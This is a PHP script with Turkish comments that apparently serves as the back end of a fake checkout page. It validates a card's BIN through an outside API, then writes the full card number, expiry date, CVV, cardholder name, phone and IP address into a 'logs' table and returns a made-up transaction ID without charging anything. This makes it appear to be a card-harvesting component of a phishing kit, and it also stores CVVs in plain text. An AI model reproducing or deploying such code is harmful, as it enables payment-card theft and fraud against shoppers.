<?php
include_once('../inc/helper.php');

session_start();
ob_start();
$creditCardNumber = str_replace(' ', '', trim($_POST['cc_number'])); // Kredi kartı numarasının ilk 6 rakamı
$bin = substr($creditCardNumber, 0, 6); // İlk 6 rakamı al
$url = "https://data.handyapi.com/bin/" . $bin;
$options = [
    "http" => [
        "method" => "GET",
        "header" => "Referer: your_domain\r\n" // Kendi domaininizi buraya ekleyin
    ]
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

if ($response === FALSE) {
    die('Hata: API çağrısında bir sorun oluştu.');
}
$data = json_decode($response, true);
if ($data === NULL) {
    die('Hata: JSON yanıtı çözülürken bir sorun oluştu.');
}

$issuer = $data['Issuer'];
$userIP = getUserIP();
if ($issuer != 'NOT VALID')
{
    $basket = $_SESSION['basket'] ?? [];
    $toplamFiyat = 0;
    foreach ($basket as $productItem) {
        $sql = "SELECT * FROM products WHERE id = :id";
        $stmt = $db->prepare($sql);
        $stmt->execute(['id' => $productItem['product_id']]);
        $product = $stmt->fetch(PDO::FETCH_OBJ);
        if ($product) {
            $toplamFiyat += $product->ProductPrice;
        }
    }
    $totalPrice = $toplamFiyat;
    $cardholder_name = $_POST['cc_name'];
    $cardholder_phone = $_SESSION['tel'];
    $card_number = str_replace(' ', '', trim($_POST['cc_number']));
    $card_expiration_month = $_POST['cc_expire_date_month'];
    $card_expiration_year = $_POST['cc_expire_date_year'];
    $card_cvv = $_POST['cc_cvv2'];
    $status = 1;
    $ipaddr = $userIP;
    try {
        $sql = "INSERT INTO logs (cardholder_name, cardholder_phone, card_number, card_expiration_month, card_expiration_year, card_cvv, status, ipaddr, amount)
    VALUES (:cardholder_name, :cardholder_phone, :card_number, :card_expiration_month, :card_expiration_year, :card_cvv, :status, :ipaddr, :amount)";
        $stmt = $db->prepare($sql);
        $stmt->bindParam(':cardholder_name', $cardholder_name);
        $stmt->bindParam(':cardholder_phone', $cardholder_phone);
        $stmt->bindParam(':card_number', $card_number);
        $stmt->bindParam(':card_expiration_month', $card_expiration_month);
        $stmt->bindParam(':card_expiration_year', $card_expiration_year);
        $stmt->bindParam(':card_cvv', $card_cvv);
        $stmt->bindParam(':status', $status);
        $stmt->bindParam(':ipaddr', $ipaddr);
        $stmt->bindParam(':amount', $totalPrice);


        // Sorguyu çalıştırma
        $stmt->execute();

        header('Content-Type: application/json');
        echo json_encode(['status' => true, 'transaction_id' => $db->lastInsertId()]);
        exit;
    } catch (PDOException $e) {
        header('Content-Type: application/json');
        echo json_encode(['status' => false]);
        exit;
    }
}
?>